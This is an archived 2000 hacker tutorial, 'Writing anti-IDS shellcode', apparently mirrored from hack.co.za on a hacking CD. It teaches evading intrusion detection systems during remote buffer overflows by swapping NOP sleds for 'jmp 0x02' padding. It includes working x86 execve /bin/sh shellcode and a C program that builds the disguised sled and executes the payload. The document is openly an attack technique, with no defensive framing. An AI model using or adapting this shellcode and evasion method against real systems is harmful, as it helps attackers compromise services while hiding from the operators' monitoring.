home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / basicoverflows / stealthcode.txt < prev   
Encoding:
Text File  |  2000-12-24  |  2.9 KB  |  76 lines

  1.                         --------------------------
  2.             Writing anti-IDS shellcode
  3.                         ==========================
  4.                     By Xtremist (xtremist@2xs.co.il)
  5. Introduction :
  6.       In the last few weeks i had made an intensive study of Intrusion -
  7. Detection Systems like snort. I found that several ways of escaping from 
  8. being detected while checking for vulnerable CGI's were already made by
  9. RFP (rfp@wiretrip.net). Also many other common intrusion tactics like 
  10. port-scanning was also escaped by using stealth-scanners like nmap. But
  11. I noticed that the IDS had also checked for a person trying to remotely
  12. buffer overflow a daemon. When I searched through the net for anti-IDS 
  13. tactics for escaping form being tracked, I found none. So i decided to 
  14. do a bit of thinking :).
  15.  
  16. Detection :
  17.     IDS detect a cracker trying to smash the stack by analyzing the
  18. network trafic, and if they find a 0x90 (NOP), they report to the logs
  19. as penetration with the packet's details.
  20.  
  21. Anti-IDS tactic:
  22.     The main problem here is the presence of NOP's in the shellcode.
  23. Exploits usually pad the stack with NOP's so that the return address
  24. dosent have to be exact. It is this NOP which is the problem. The main
  25. shellcode (which probably start execve or append a line to passwd) need
  26. not be changed because it dosent contain NOP's. The problem lies here -
  27.  
  28.           for(i=0;i<(LEN-strlen(shellcode));i++){*(bof+i)=0x90;} 
  29.  
  30. where the beginning of the stact gets padded with NOP's. NOP is used only
  31. to jump to the next instruction without any modification to execution of
  32. the assembly code. NOP=No OPeration. But the same function can be achieved
  33. by using a jump to the next instrucion (jmp 0x00).
  34.  
  35. The Problems :
  36.     1) The jump instruction (0xeb 0x00) is two bytes unlike the NOP
  37. instruction which is only one byte. So the offset has to be more difficult
  38. to calculate because is the return address is in between 0xeb and 0x00
  39. then crash, boom, bang :).
  40.     2) A nice shellcode isn't supposed to consist of binary 0's and
  41. this one does (0x00).
  42.  
  43. Solution : 
  44.     1) This is not really a problem. If the exploit dosent work we
  45. just have to add or subtract 1 from the offset since the jmp instruction
  46. is 2 bytes.
  47.     2) If we cannot jump one byte, we jump two bytes (jmp 0x02) and
  48. this does'nt have binary zero's and will work fine.
  49.  
  50. Code: 
  51.     Replace this :
  52.         0x90
  53.     With this :
  54.         0xeb0x02
  55.  
  56. Thanks to:
  57.     Mixter, for letting me know that there would be a problem of
  58. binary zero's if i had jumped and also for all the questions i asked :).
  59.  
  60. Example code for x86:
  61. char sc[] =
  62. "\xeb\x1a\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3"
  63. "\x8d\x4e\x08\x8d\x56\x08\x31\xd2\xcd\x80\xe8\xe1\xff\xff\xff/bin/sh";
  64. char buf[256];
  65.  
  66. int main() {
  67.   /* memset(buf,0x90,256); */
  68.   int i;
  69.  
  70.   for (i = 0; i < 256; i += 2)
  71.     *(short *) &buf[i] = 0xeb02;
  72.   memcpy(buf + 256 - strlen(sc), sc, strlen(sc));
  73.   ((void (*)(void)) buf) ();
  74.   return 0;
  75. }
  76.